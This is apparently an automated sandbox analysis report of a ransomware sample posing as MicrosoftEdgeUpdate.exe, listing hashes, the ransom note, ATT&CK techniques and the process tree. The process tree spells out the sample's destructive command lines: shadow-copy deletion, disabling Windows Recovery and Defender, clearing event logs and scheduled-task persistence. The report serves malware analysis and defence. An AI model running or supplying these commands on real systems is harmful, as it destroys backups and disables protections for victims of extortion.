30b26d3b9e0a99868c82160cd68627dd4dfaed241cdb36cb455819443b9340f4

Analysis

user interaction
yes
max time kernel
364s
max time network
350s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260710-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260710-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
19/08/2026, 15:55

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
MicrosoftEdgeUpdate.exe
Size 3.2MB
Sample260819-tcsdesdn4v
SHA256 30b26d3b9e0a99868c82160cd68627dd4dfaed241cdb36cb455819443b9340f4
MD5 094eceb9958b6912aa78ca66fbad104b
SHA1 e396176fd4643196476f79dfa1df80b528a1841d
SHA512 6983a5e3a280077fb6d5d7ed93cf38581380af3603465cf4ed5821d87438e2bdaa3c5dd52e70b693ce6df25f3484f239ac5ff8bf7f1134695b040d387bdbbe34
SSDEEP 98304:HVxs2+/vEznetUYIiMuCJsdFe5dhDODxcv/xSvlff:HPs2+/OetUPsCSezhD8cnQvV
TLSH
T1B3F5E1BF1B3AE475C285C13D97237A35292CE5330BDAAB774244263B5835ED2AC66F01
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution impact persistence privilege_escalation ransomware spyware stealer

Malware Config

Extracted

Path

C:\Users\Admin\Desktop\DECRYPT_INSTRUCTIONS.txt

Ransom Note

=== YOU HAVE BEEN RANSOMWARED HAHAHAHAHA === All your documents, photos, databases and backups have been encrypted with AES-256-GCM. The decryption key is stored on a server you cannot reach. To recover your files: 1. Send the ransom to the address below. 2. Enter your victim ID when submitting proof of payment. 3. Run decryptor.exe with the key you receive. Do not attempt to recover the files yourself. Do not contact law enforcement. Do not contact recovery companies. Every attempt to restore will destroy the key. Tick-tock. Victim ID: 1d492ebcf9a3b462 Encrypted at: 2026-08-19 15:56:50 UTC Price: 0.05 BTC Address: bc1qyour0wn0nlytestaddressxxxx PAYMENT DEADLINE: 2026-08-22 15:56 UTC (72 hours from encryption) If the deadline passes the price doubles. It doubles again every 72 hours after that. Tick-tock.

Signatures

Clears Windows event logs 1 TTPs 4 IoCs

defense_evasion ransomware

Clear Windows Event Logs

T1070.001

pid	Process
4552	wevtutil.exe
4208	wevtutil.exe
4400	wevtutil.exe
5680	wevtutil.exe

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Disables RegEdit via registry modification 1 IoCs

defense_evasion

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-2301830172-776172150-2531349243-1000\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1"	MicrosoftEdgeUpdate.exe

Disables Task Manager via registry modification
defense_evasion

Disables cmd.exe use via registry modification 1 IoCs

defense_evasion

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-2301830172-776172150-2531349243-1000\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableCMD = "1"	MicrosoftEdgeUpdate.exe

Disables one or more Microsoft Defender components 1 TTPs 1 IoCs

Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.

defense_evasion

Disable or Modify Tools

T1562.001

pid	Process
4868	powershell.exe

Creates a file in the Startup directory 1 TTPs 8 IoCs

A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

persistence privilege_escalation

Registry Run Keys / Startup Folder

T1547.001

description	ioc	Process
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\PAY_UP.txt	MicrosoftEdgeUpdate.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\DECRYPT_INSTRUCTIONS.txt	MicrosoftEdgeUpdate.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\decryptor.exe	MicrosoftEdgeUpdate.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftEdgeUpdate.exe	MicrosoftEdgeUpdate.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftEdgeUpdate.exe	MicrosoftEdgeUpdate.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RANSOM_NOTE.txt	MicrosoftEdgeUpdate.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RECOVERY.txt	MicrosoftEdgeUpdate.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\README_RANSOM.txt	MicrosoftEdgeUpdate.exe

Executes dropped EXE 2 IoCs

pid	Process
4896	MicrosoftEdgeUpdate.exe
3100	MicrosoftEdgeUpdate.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2301830172-776172150-2531349243-1000\Software\Microsoft\Windows\CurrentVersion\Run\MicrosoftEdgeUpdate = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Windows\\MicrosoftEdgeUpdate.exe"	MicrosoftEdgeUpdate.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4868	powershell.exe

Indicator Removal: Clear Persistence 1 TTPs 1 IoCs

Clear artifacts associated with previously established persistence like scheduletasks on a host.

defense_evasion

Clear Persistence

T1070.009

pid	Process
2876	cmd.exe

Drops file in System32 directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\Recovery	ReAgentc.exe
File opened for modification	C:\Windows\system32\Recovery\ReAgent.xml	ReAgentc.exe

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2301830172-776172150-2531349243-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\w.bmp"	MicrosoftEdgeUpdate.exe

Drops file in Windows directory 4 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Logs\ReAgent\ReAgent.log	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\setuperr.log	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagerr.xml	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagwrn.xml	ReAgentc.exe

Launches sc.exe 1 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
1652	sc.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

Executes a command shell one-liner 1 TTPs 12 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
1240	cmd.exe
4912	cmd.exe
5660	cmd.exe
5788	cmd.exe
4532	cmd.exe
4844	cmd.exe
1168	cmd.exe
3048	cmd.exe
3964	cmd.exe
5496	cmd.exe
4464	cmd.exe
1480	cmd.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 4 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
4912	cmd.exe
5104	PING.EXE
5788	cmd.exe
1100	PING.EXE

Enumerates system info in registry 2 TTPs 2 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value enumerated	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	MicrosoftEdgeUpdate.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\Description\System\BIOS	MicrosoftEdgeUpdate.exe

Interacts with shadow copies 3 TTPs 1 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
5132	vssadmin.exe

Opens file in notepad (likely ransom note) 1 IoCs

ransomware

pid	Process
2808	NOTEPAD.EXE

Runs ping.exe 1 TTPs 2 IoCs

Remote System Discovery

T1018

pid	Process
5104	PING.EXE
1100	PING.EXE

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
252	schtasks.exe

Suspicious behavior: EnumeratesProcesses 12 IoCs

pid	Process
4896	MicrosoftEdgeUpdate.exe
4896	MicrosoftEdgeUpdate.exe
4896	MicrosoftEdgeUpdate.exe
4896	MicrosoftEdgeUpdate.exe
468	WMIC.exe
468	WMIC.exe
468	WMIC.exe
468	WMIC.exe
4868	powershell.exe
4868	powershell.exe
4896	MicrosoftEdgeUpdate.exe
4896	MicrosoftEdgeUpdate.exe

Suspicious use of AdjustPrivilegeToken 31 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	468	WMIC.exe
Token: SeSecurityPrivilege	468	WMIC.exe
Token: SeTakeOwnershipPrivilege	468	WMIC.exe
Token: SeLoadDriverPrivilege	468	WMIC.exe
Token: SeSystemProfilePrivilege	468	WMIC.exe
Token: SeSystemtimePrivilege	468	WMIC.exe
Token: SeProfSingleProcessPrivilege	468	WMIC.exe
Token: SeIncBasePriorityPrivilege	468	WMIC.exe
Token: SeCreatePagefilePrivilege	468	WMIC.exe
Token: SeBackupPrivilege	468	WMIC.exe
Token: SeRestorePrivilege	468	WMIC.exe
Token: SeShutdownPrivilege	468	WMIC.exe
Token: SeDebugPrivilege	468	WMIC.exe
Token: SeSystemEnvironmentPrivilege	468	WMIC.exe
Token: SeRemoteShutdownPrivilege	468	WMIC.exe
Token: SeUndockPrivilege	468	WMIC.exe
Token: SeManageVolumePrivilege	468	WMIC.exe
Token: 33	468	WMIC.exe
Token: 34	468	WMIC.exe
Token: 35	468	WMIC.exe
Token: 36	468	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1460	svchost.exe
Token: SeDebugPrivilege	4868	powershell.exe
Token: SeSecurityPrivilege	4552	wevtutil.exe
Token: SeBackupPrivilege	4552	wevtutil.exe
Token: SeSecurityPrivilege	4208	wevtutil.exe
Token: SeBackupPrivilege	4208	wevtutil.exe
Token: SeSecurityPrivilege	4400	wevtutil.exe
Token: SeBackupPrivilege	4400	wevtutil.exe
Token: SeSecurityPrivilege	5680	wevtutil.exe
Token: SeBackupPrivilege	5680	wevtutil.exe

Suspicious use of FindShellTrayWindow 10 IoCs

pid	Process
4896	MicrosoftEdgeUpdate.exe
4896	MicrosoftEdgeUpdate.exe
4896	MicrosoftEdgeUpdate.exe
4896	MicrosoftEdgeUpdate.exe
4896	MicrosoftEdgeUpdate.exe
4896	MicrosoftEdgeUpdate.exe
4896	MicrosoftEdgeUpdate.exe
4896	MicrosoftEdgeUpdate.exe
4896	MicrosoftEdgeUpdate.exe
4896	MicrosoftEdgeUpdate.exe

Suspicious use of WriteProcessMemory 27 IoCs

description	pid	Process	procid_target
PID 1900 wrote to memory of 4896	1900	MicrosoftEdgeUpdate.exe	89
PID 1900 wrote to memory of 4912	1900	MicrosoftEdgeUpdate.exe	90
PID 4912 wrote to memory of 5104	4912	cmd.exe	92
PID 4896 wrote to memory of 5660	4896	MicrosoftEdgeUpdate.exe	93
PID 4896 wrote to memory of 5788	4896	MicrosoftEdgeUpdate.exe	94
PID 5660 wrote to memory of 252	5660	cmd.exe	97
PID 4896 wrote to memory of 4532	4896	MicrosoftEdgeUpdate.exe	98
PID 4532 wrote to memory of 5132	4532	cmd.exe	100
PID 4896 wrote to memory of 3964	4896	MicrosoftEdgeUpdate.exe	101
PID 3964 wrote to memory of 468	3964	cmd.exe	105
PID 4896 wrote to memory of 5496	4896	MicrosoftEdgeUpdate.exe	107
PID 5496 wrote to memory of 3872	5496	cmd.exe	109
PID 4896 wrote to memory of 4464	4896	MicrosoftEdgeUpdate.exe	111
PID 4464 wrote to memory of 4868	4464	cmd.exe	113
PID 4896 wrote to memory of 1480	4896	MicrosoftEdgeUpdate.exe	114
PID 1480 wrote to memory of 4552	1480	cmd.exe	116
PID 4896 wrote to memory of 4844	4896	MicrosoftEdgeUpdate.exe	117
PID 4844 wrote to memory of 4208	4844	cmd.exe	119
PID 4896 wrote to memory of 1168	4896	MicrosoftEdgeUpdate.exe	120
PID 1168 wrote to memory of 4400	1168	cmd.exe	122
PID 4896 wrote to memory of 1240	4896	MicrosoftEdgeUpdate.exe	123
PID 1240 wrote to memory of 5680	1240	cmd.exe	125
PID 4896 wrote to memory of 3048	4896	MicrosoftEdgeUpdate.exe	127
PID 3048 wrote to memory of 1652	3048	cmd.exe	129
PID 4896 wrote to memory of 2876	4896	MicrosoftEdgeUpdate.exe	130
PID 2876 wrote to memory of 1100	2876	cmd.exe	132
PID 2876 wrote to memory of 1856	2876	cmd.exe	134

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe
"C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1900
- C:\Users\Admin\AppData\Local\Temp\EdgeUpdate\MicrosoftEdgeUpdate.exe
  C:\Users\Admin\AppData\Local\Temp\EdgeUpdate\MicrosoftEdgeUpdate.exe
  2⤵
  - Disables RegEdit via registry modification
  - Disables cmd.exe use via registry modification
  - Creates a file in the Startup directory
  - Executes dropped EXE
  - Adds Run key to start application
  - Sets desktop wallpaper using registry
  - Enumerates system info in registry
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of WriteProcessMemory
  PID:4896
- - C:\Windows\system32\cmd.exe
    "cmd.exe" /c "schtasks /create /tn \"MicrosoftEdgeUpdateTask\" /tr \"\\\"C:\Users\Admin\AppData\Local\Temp\EdgeUpdate\MicrosoftEdgeUpdate.exe\\\"\" /sc onlogon /rl highest /f"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:5660
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn \"MicrosoftEdgeUpdateTask\" /tr \"\\\"C:\Users\Admin\AppData\Local\Temp\EdgeUpdate\MicrosoftEdgeUpdate.exe\\\"\" /sc onlogon /rl highest /f
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:252
- - C:\Windows\system32\cmd.exe
    "cmd.exe" /c "/c ping -n 4 127.0.0.1 >nul 2>&1 & del /f /q \"C:\Users\Admin\AppData\Local\Temp\EdgeUpdate\MicrosoftEdgeUpdate.exe\" >nul 2>&1"
    3⤵
    - Executes a command shell one-liner
    - System Network Configuration Discovery: Internet Connection Discovery
    PID:5788
- - C:\Windows\system32\cmd.exe
    "cmd.exe" "/c vssadmin delete shadows /all /quiet >nul 2>&1"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4532
  - - C:\Windows\system32\vssadmin.exe
      vssadmin delete shadows /all /quiet "
      4⤵
      Interacts with shadow copies
      PID:5132
- - C:\Windows\system32\cmd.exe
    "cmd.exe" "/c wmic shadowcopy delete /nointeractive >nul 2>&1"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3964
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic shadowcopy delete /nointeractive "
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:468
- - C:\Windows\system32\cmd.exe
    "cmd.exe" "/c reagentc /disable >nul 2>&1"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:5496
  - - C:\Windows\system32\ReAgentc.exe
      reagentc /disable "
      4⤵
      Drops file in System32 directory
      Drops file in Windows directory
      PID:3872
- - C:\Windows\system32\cmd.exe
    "cmd.exe" "/c powershell -NoProfile -Command \"Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true\" >nul 2>&1"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4464
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -Command \"Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true\" "
      4⤵
      Disables one or more Microsoft Defender components
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4868
- - C:\Windows\system32\cmd.exe
    "cmd.exe" "/c wevtutil cl Application >nul 2>&1"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:1480
  - - C:\Windows\system32\wevtutil.exe
      wevtutil cl Application "
      4⤵
      Clears Windows event logs
      Suspicious use of AdjustPrivilegeToken
      PID:4552
- - C:\Windows\system32\cmd.exe
    "cmd.exe" "/c wevtutil cl Security >nul 2>&1"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4844
  - - C:\Windows\system32\wevtutil.exe
      wevtutil cl Security "
      4⤵
      Clears Windows event logs
      Suspicious use of AdjustPrivilegeToken
      PID:4208
- - C:\Windows\system32\cmd.exe
    "cmd.exe" "/c wevtutil cl System >nul 2>&1"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:1168
  - - C:\Windows\system32\wevtutil.exe
      wevtutil cl System "
      4⤵
      Clears Windows event logs
      Suspicious use of AdjustPrivilegeToken
      PID:4400
- - C:\Windows\system32\cmd.exe
    "cmd.exe" "/c wevtutil cl Setup >nul 2>&1"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:1240
  - - C:\Windows\system32\wevtutil.exe
      wevtutil cl Setup "
      4⤵
      Clears Windows event logs
      Suspicious use of AdjustPrivilegeToken
      PID:5680
- - C:\Windows\system32\cmd.exe
    "cmd.exe" /c "/c sc config WinDefend start= disabled & sc stop WinDefend >nul 2>&1"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3048
  - - C:\Windows\system32\sc.exe
      sc stop WinDefend
      4⤵
      Launches sc.exe
      PID:1652
- - C:\Windows\system32\cmd.exe
    "cmd.exe" "/c ping -n 4 127.0.0.1 >nul 2>&1 & del /f /q \"C:\Users\Admin\AppData\Local\Temp\EdgeUpdate\MicrosoftEdgeUpdate.exe\" >nul 2>&1 & schtasks /delete /tn \"MicrosoftEdgeUpdateTask\" /f >nul 2>&1"
    3⤵
    - Indicator Removal: Clear Persistence
    - Suspicious use of WriteProcessMemory
    PID:2876
  - - C:\Windows\system32\PING.EXE
      ping -n 4 127.0.0.1
      4⤵
      System Network Configuration Discovery: Internet Connection Discovery
      Runs ping.exe
      PID:1100
  - - C:\Windows\system32\schtasks.exe
      schtasks /delete /tn \"MicrosoftEdgeUpdateTask\" /f "
      4⤵
      PID:1856
- C:\Windows\system32\cmd.exe
  "cmd.exe" "/c ping -n 4 127.0.0.1 >nul 2>&1 & del /f /q \"C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe\" >nul 2>&1"
  2⤵
  - Executes a command shell one-liner
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:4912
- - C:\Windows\system32\PING.EXE
    ping -n 4 127.0.0.1
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:5104

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\MicrosoftEdgeUpdate.exe
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\MicrosoftEdgeUpdate.exe
1⤵
- Executes dropped EXE
PID:3100

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s BDESVC
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1460

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k GPSvcGroup
1⤵
PID:5036

C:\Windows\system32\NOTEPAD.EXE
"C:\Windows\system32\NOTEPAD.EXE" C:\Users\Public\Desktop\DECRYPT_INSTRUCTIONS.txt
1⤵
- Opens file in notepad (likely ransom note)
PID:2808

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

System Services

T1569

Service Execution

T1569.002

Windows Management Instrumentation

T1047

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Direct Volume Access

T1006

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

Clear Persistence

T1070.009

Clear Windows Event Logs

T1070.001

File Deletion

T1070.004

Modify Registry

T1112

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Defacement

T1491

Inhibit System Recovery

T1490

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

MicrosoftEdgeUpdate.exe

Path C:\Users\Admin\AppData\Local\Temp\EdgeUpdate\MicrosoftEdgeUpdate.exe
Size 2.9MB
SHA256 27f5625bcf1e12f9837282d0861f7049f17b35b8901a306a5e5751e428abea92
MD5 6e517c46ed7894ee51569f4399c167d9
SHA1 2b7d5e40ce45598220be9ab9c28e6b7399a63c6b
SHA512 a8b4db748bf7c8998b111948a1f1a95b32e06593bd6fbab1627b25415d683763f9ff1c47da8eb409ee967ccefdb6e812d82c521e163ddb8067f57abaabd8b5f2
SSDEEP 49152:qfCqUi1/0lNGUitgTe2yCT8aRYckb4D3qaXYOmxYWcV2jvYpYIU6isTy/:3cclDyFoOIXJsQ+sTo
TLSH
T10CE57D43E6A180FDC16AC174875B9733F632B8895530BAAF27E4DB202E26F505F1E719
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

DECRYPT_INSTRUCTIONS.txt

Path C:\Users\Admin\Desktop\DECRYPT_INSTRUCTIONS.txt
Size 830B
SHA256 8f9545c1ecbe4c7a1cdf9159d43aa84ad789124e943be932d176565300313da3
MD5 22a2dfc9cb96917bec39e24f324585b9
SHA1 eb6d5c163e3ec349343d473b6efa042c4e934c2f
SHA512 f7b3caf47ff005f4376f6ce0af05ce6a7173579e83c5fafc17085b6a299e2cfb9ccec58195762964aae55314284d46d9c4673f246243b0bbba5f2e6341d79691
TLSH
T11101566F5569712F6FD200A5712E97CFFBA56088823E0314D86CC02512B89A7BFD38E0
MD5 SHA1 SHA512 TLSH

Submit Download

decryptor.exe

Path C:\Users\Admin\Music\decryptor.exe
Size 392KB
SHA256 d8b991877f258c4c5ffbc48eb13fc731017d03c5db4bfe2f752642ef843a5ffc
MD5 41f8f2ef71c655b07502e4a9ab1bdcfe
SHA1 2bba2df17acaf7d0bbbe67a7c9ed000025375ffc
SHA512 9278f0db611afe2f211a45bb08100b510cd71d9c79521b9ecafb7150c97ad0b075469919fe6de3e8f35c4592c6b62bf3c06ad57629b9c8c763b6dbc9f8c57080
SSDEEP 6144:rqHOGZQ4afCYuKG6xx1vJAVIxw6R32OFXSS1G2zeMymFP+vbdDGv0wyICgX:rKuuj6x3vJRW6R32+SS1GA9cYv0IX
TLSH
T173847C03B6A559BCD15AC038835B9573F633B88A0631BDBF13E8D6302E66E506F1CB59
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/1900-4-0x00007FF6B3000000-0x00007FF6B3057000-memory.dmp

Download

memory/3100-15-0x00007FF61CA60000-0x00007FF61CD51000-memory.dmp

Download

memory/4868-22-0x0000016751C00000-0x0000016751C22000-memory.dmp

Download

memory/4896-5-0x00007FF6C1150000-0x00007FF6C1441000-memory.dmp

Download

memory/4896-13-0x00007FF6C1150000-0x00007FF6C1441000-memory.dmp

Download

memory/4896-1764-0x00007FF6C1150000-0x00007FF6C1441000-memory.dmp

Download

memory/4896-1765-0x00007FF6C1150000-0x00007FF6C1441000-memory.dmp

Download